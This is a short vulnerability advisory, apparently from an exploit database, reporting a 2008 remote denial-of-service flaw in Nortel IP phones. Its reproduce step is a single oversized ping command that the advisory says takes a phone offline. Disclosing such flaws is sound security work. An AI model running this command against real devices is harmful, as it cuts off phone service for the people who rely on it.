Nortel IP Phone DoS

2008.11.11
Credit: sipherr
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

Nortel IP phone DoS Discovered: 2008-02-25 Tested on firmware: 0604DAS (Latest firmwares have also been tested.) Welcome the return of the Ping of Death! wait a minute...isn't this 2008? Steps to reproduce: 1. ping -s 65500 < ip of the phone > Thanks to Spithash and the #codemasters (at) dal (dot) net [email concealed] crew.

References:

http://xforce.iss.net/xforce/xfdb/40993
http://www.securityfocus.com/bid/28004
http://www.securityfocus.com/archive/1/archive/1/488803/100/100/threaded
http://www.securityfocus.com/archive/1/archive/1/488801/100/100/threaded
http://www.securityfocus.com/archive/1/archive/1/488782/100/100/threaded


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